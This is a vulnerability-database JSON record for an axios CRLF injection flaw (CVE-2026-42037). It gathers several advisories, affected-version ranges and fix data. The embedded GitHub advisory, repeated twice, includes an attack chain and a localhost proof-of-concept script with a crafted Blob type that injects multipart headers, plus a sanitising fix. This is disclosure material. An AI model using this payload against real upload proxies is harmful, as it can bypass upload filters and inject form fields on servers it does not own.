{"id":"CVE-2026-42037","aliases":["CLSA-2026-1784769505","CLSA-2026-1784769531","CLSA-2026-1784856205","CLSA-2026-1784943211","CLSA-2026-1784943297","CLSA-2026-1790764333","CLSA-2026-1793101849","CLSA-2026-1793110604","CLSA-2026-1793874599","CLSA-2026-1794060370","DEBIAN-CVE-2026-42037","EUVD-2026-25603","GHSA-445q-vr5w-6q77","UBUNTU-CVE-2026-42037"],"status":"published","title":"Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream","description":"Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\\r\\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00294,"percentile":0.22344,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-93"],"published":"2026-04-24T17:58:16Z","modified":"2026-11-12T10:01:25Z","fixes":[{"ecosystem":"npm","package":"axios","fixed_in":["1.15.1"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"node-axios","fixed_in":["1.15.2-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"1.15.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.7-tuxcare.0"},{"fixed":"1.7.7-tuxcare.3"}]}],"versions":["1.7.7","1.7.7-tuxcare.1","1.7.7-tuxcare.2"],"bundled":18},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.5-tuxcare.0"},{"fixed":"1.7.5-tuxcare.2"}]}],"versions":["1.7.5","1.7.5-tuxcare.1"],"bundled":18},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.9-tuxcare.0"},{"fixed":"1.7.9-tuxcare.1"}]}],"versions":["1.7.9"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.6.8-tuxcare.0"},{"fixed":"1.6.8-tuxcare.2"}]}],"versions":["1.6.8","1.6.8-tuxcare.1"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.6.2-tuxcare.0"},{"fixed":"1.6.2-tuxcare.2"}]}],"versions":["1.6.2","1.6.2-tuxcare.1"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.5-tuxcare.0"},{"fixed":"1.13.5-tuxcare.1"}]}],"versions":["1.13.5"],"bundled":28},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.2-tuxcare.0"},{"fixed":"1.13.2-tuxcare.2"}]}],"versions":["1.13.2","1.13.2-tuxcare.1"],"bundled":32},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.12.2-tuxcare.0"},{"fixed":"1.12.2-tuxcare.1"}]}],"versions":["1.12.2"],"bundled":32},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.6-tuxcare.0"},{"fixed":"1.13.6-tuxcare.3"}]}],"versions":["1.13.6","1.13.6-tuxcare.1","1.13.6-tuxcare.2"],"bundled":27},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.15.0-tuxcare.0"},{"fixed":"1.15.0-tuxcare.1"}]}],"versions":["1.15.0"],"bundled":12},{"source":"osv","ecosystem":"Debian:12","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.2.1+dfsg-1","1.2.1+dfsg-1+deb12u1","1.20.0-1","1.21.0-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-1","1.6.8+dfsg-2","1.7.3+dfsg-1","1.7.4+dfsg-1","1.7.7+dfsg-1","1.7.9+dfsg-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.20.0-1","1.21.0-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.15.2-1"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.15.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.0+dfsg-2","0.19.0+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.1+dfsg-1","0.23.0+dfsg-2","0.24.0+dfsg-1","0.25.0+dfsg-2","0.26.0+dfsg-1","0.26.0+dfsg-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1+dfsg-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-2","1.6.8+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.7.9+dfsg-1","1.8.4+dfsg-1","1.11.0+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.13.2+dfsg-1build1","1.16.0-1","1.18.0-1","1.19.0-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.2+dfsg-1build1","1.13.2+dfsg-1ubuntu0.1~esm1"]}],"products":[{"vendor":"axios","product":"axios"}],"references":[{"url":"https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42037","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-445q-vr5w-6q77"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42037.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-42037","tags":["advisory"]},{"url":"https://github.com/axios/axios","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-42037","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42037","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-42037","title":"Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream","description":"Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\\r\\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.","status":"published","published":"2026-04-24T17:58:16.058Z","modified":"2026-04-27T17:37:06.975Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T13:40:35.004553Z"}],"euvd":[{"id":"EUVD-2026-25603","description":"Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\\r\\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.","status":"published","published":"2026-04-24T17:58:16Z","modified":"2026-04-27T17:37:06Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:24:17.432529Z"}],"ghsa":[{"id":"GHSA-445q-vr5w-6q77","title":"Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream","description":"### Summary\nThe `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\\r\\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.\n\n### Details\nIn `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:\n```\nif (isStringValue) {\n  value = textEncoder.encode(String(value).replace(/\\r?\\n|\\r\\n?/g, CRLF));\n} else {\n  // value.type is NOT sanitized for CRLF sequences\n  headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;\n}\n```\nNote that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`.\n\n\n### Attack chain:\n\n1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\\r\\n` sequences\n2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)`\n3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body\n4. The downstream server receives a multipart body containing injected per-part headers\n5. The server's multipart parser processes the injected headers as legitimate\n\nThis is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration.\nAdditionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited.\n\n### PoC\n**Prerequisites**: Node.js 18+, axios (tested on 1.14.0)\n```\nconst http = require('http');\nconst axios = require('axios');\n\nlet receivedBody = '';\n\nconst server = http.createServer((req, res) =\u003e {\n  let body = '';\n  req.on('data', chunk =\u003e { body += chunk.toString(); });\n  req.on('end', () =\u003e {\n    receivedBody = body;\n    res.writeHead(200);\n    res.end('ok');\n  });\n});\n\nserver.listen(0, '127.0.0.1', async () =\u003e {\n  const port = server.address().port;\n\n  class SpecFormData {\n    constructor() {\n      this._entries = [];\n      this[Symbol.toStringTag] = 'FormData';\n    }\n    append(name, value) { this._entries.push([name, value]); }\n    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }\n    entries() { return this._entries[Symbol.iterator](); }\n  }\n\n  const fd = new SpecFormData();\n\n  fd.append('photo', {\n    type: 'image/jpeg\\r\\nX-Injected-Header: PWNED-by-attacker\\r\\nX-Evil: arbitrary-value',\n    size: 16,\n    name: 'photo.jpg',\n    [Symbol.asyncIterator]: async function*() {\n      yield Buffer.from('MALICIOUS PAYLOAD');\n    }\n  });\n\n  await axios.post(`http://127.0.0.1:${port}/upload`, fd);\n\n  if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {\n    console.log('[VULNERABLE] CRLF injection confirmed in multipart body');\n    console.log('Received body:\\n' + receivedBody);\n  } else {\n    console.log('[NOT_VULNERABLE]');\n  }\n\n  server.close();\n});\n```\n\n### Steps to reproduce:\n\n1. npm install axios\n2. Save the above as poc_axios_crlf.js\n3. Run node poc_axios_crlf.js\n4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body\n\n**Expected behavior**: value.type should be sanitized to strip \\r\\n before interpolation, consistent with the string value path.\n**Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.\n\n### Impact\nAny Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.\nConsequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.\naxios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.\n\n### Suggested fix\nIn formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \\r\\n) or use the same escapeName logic.\n```\nconst safeType = (value.type || 'application/octet-stream')\n  .replace(/[\\r\\n]/g, '');\nheaders += `Content-Type: ${safeType}${CRLF}`;\n```","status":"published","published":"2026-05-05T00:40:45Z","modified":"2026-05-05T00:40:46Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:40:00.970271Z"}],"nvd":[{"id":"CVE-2026-42037","description":"Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\\r\\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.","status":"published","published":"2026-04-24T18:16:30.543Z","modified":"2026-11-11T23:10:00.263Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-93"],"updated_at":"2026-11-12T01:26:59.157514Z"}],"osv":[{"id":"CVE-2026-42037","title":"Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream","description":"Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\\r\\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.","status":"published","published":"2026-04-24T17:58:16.058Z","modified":"2026-10-28T02:31:12.814586368Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:45:03.764807Z"},{"id":"DEBIAN-CVE-2026-42037","description":"Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\\r\\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.","status":"published","published":"2026-04-24T18:16:30.543Z","modified":"2026-11-12T10:01:25.550743179Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"updated_at":"2026-11-12T10:15:48.743889Z"},{"id":"GHSA-445q-vr5w-6q77","title":"Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream","description":"### Summary\nThe `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\\r\\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.\n\n### Details\nIn `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:\n```\nif (isStringValue) {\n  value = textEncoder.encode(String(value).replace(/\\r?\\n|\\r\\n?/g, CRLF));\n} else {\n  // value.type is NOT sanitized for CRLF sequences\n  headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;\n}\n```\nNote that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`.\n\n\n### Attack chain:\n\n1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\\r\\n` sequences\n2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)`\n3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body\n4. The downstream server receives a multipart body containing injected per-part headers\n5. The server's multipart parser processes the injected headers as legitimate\n\nThis is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration.\nAdditionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited.\n\n### PoC\n**Prerequisites**: Node.js 18+, axios (tested on 1.14.0)\n```\nconst http = require('http');\nconst axios = require('axios');\n\nlet receivedBody = '';\n\nconst server = http.createServer((req, res) =\u003e {\n  let body = '';\n  req.on('data', chunk =\u003e { body += chunk.toString(); });\n  req.on('end', () =\u003e {\n    receivedBody = body;\n    res.writeHead(200);\n    res.end('ok');\n  });\n});\n\nserver.listen(0, '127.0.0.1', async () =\u003e {\n  const port = server.address().port;\n\n  class SpecFormData {\n    constructor() {\n      this._entries = [];\n      this[Symbol.toStringTag] = 'FormData';\n    }\n    append(name, value) { this._entries.push([name, value]); }\n    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }\n    entries() { return this._entries[Symbol.iterator](); }\n  }\n\n  const fd = new SpecFormData();\n\n  fd.append('photo', {\n    type: 'image/jpeg\\r\\nX-Injected-Header: PWNED-by-attacker\\r\\nX-Evil: arbitrary-value',\n    size: 16,\n    name: 'photo.jpg',\n    [Symbol.asyncIterator]: async function*() {\n      yield Buffer.from('MALICIOUS PAYLOAD');\n    }\n  });\n\n  await axios.post(`http://127.0.0.1:${port}/upload`, fd);\n\n  if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {\n    console.log('[VULNERABLE] CRLF injection confirmed in multipart body');\n    console.log('Received body:\\n' + receivedBody);\n  } else {\n    console.log('[NOT_VULNERABLE]');\n  }\n\n  server.close();\n});\n```\n\n### Steps to reproduce:\n\n1. npm install axios\n2. Save the above as poc_axios_crlf.js\n3. Run node poc_axios_crlf.js\n4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body\n\n**Expected behavior**: value.type should be sanitized to strip \\r\\n before interpolation, consistent with the string value path.\n**Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.\n\n### Impact\nAny Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.\nConsequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.\naxios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.\n\n### Suggested fix\nIn formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \\r\\n) or use the same escapeName logic.\n```\nconst safeType = (value.type || 'application/octet-stream')\n  .replace(/[\\r\\n]/g, '');\nheaders += `Content-Type: ${safeType}${CRLF}`;\n```","status":"published","published":"2026-05-05T00:40:45Z","modified":"2026-09-10T03:50:45.396631689Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:46:36.434231Z"},{"id":"UBUNTU-CVE-2026-42037","description":"Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\\r\\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.","status":"published","published":"2026-04-24T18:16:00Z","modified":"2026-10-17T13:00:05.191849368Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:18.393417Z"},{"id":"CLSA-2026-1784769505","title":"TuxCare security update for axios (18 CVEs)","description":"TuxCare rebuilt axios to address 18 CVEs. Fixed in 1.7.7-tuxcare.3.","status":"published","published":"2026-08-04T14:52:47Z","modified":"2026-10-15T09:47:54.377144369Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784769531","title":"TuxCare security update for axios (18 CVEs)","description":"TuxCare rebuilt axios to address 18 CVEs. Fixed in 1.7.5-tuxcare.2.","status":"published","published":"2026-08-04T14:52:47Z","modified":"2026-10-15T09:47:36.840967341Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784856205","title":"TuxCare security update for axios (21 CVEs)","description":"TuxCare rebuilt axios to address 21 CVEs. Fixed in 1.7.9-tuxcare.1.","status":"published","published":"2026-08-04T14:52:48Z","modified":"2026-10-15T09:47:55.013314732Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784943211","title":"TuxCare security update for axios (8 CVEs)","description":"TuxCare rebuilt axios to address 8 CVEs. Fixed in 1.6.8-tuxcare.2.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:37.237279991Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784943297","title":"TuxCare security update for axios (11 CVEs)","description":"TuxCare rebuilt axios to address 11 CVEs. Fixed in 1.6.2-tuxcare.2.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:37.240229147Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1790764333","title":"TuxCare security update for axios (28 CVEs)","description":"TuxCare rebuilt axios to address 28 CVEs. Fixed in 1.13.5-tuxcare.1.","status":"published","published":"2026-09-30T10:32:13Z","modified":"2026-10-15T09:47:53.491657971Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1793101849","title":"TuxCare security update for axios (32 CVEs)","description":"TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.13.2-tuxcare.2.","status":"published","published":"2026-10-27T11:50:49Z","modified":"2026-10-27T13:30:17.542584318Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793110604","title":"TuxCare security update for axios (32 CVEs)","description":"TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.12.2-tuxcare.1.","status":"published","published":"2026-10-27T14:16:44Z","modified":"2026-10-27T19:30:03.618389185Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793874599","title":"TuxCare security update for axios (27 CVEs)","description":"TuxCare rebuilt axios to address 27 CVEs. Fixed in 1.13.6-tuxcare.3.","status":"published","published":"2026-11-05T11:30:00Z","modified":"2026-11-05T13:15:17.383465117Z","updated_at":"2026-11-05T13:30:00.949926Z"},{"id":"CLSA-2026-1794060370","title":"TuxCare security update for axios (12 CVEs)","description":"TuxCare rebuilt axios to address 12 CVEs. Fixed in 1.15.0-tuxcare.1.","status":"published","published":"2026-11-07T15:06:10Z","modified":"2026-11-07T19:00:38.800695575Z","updated_at":"2026-11-07T19:21:34.633914Z"}]}}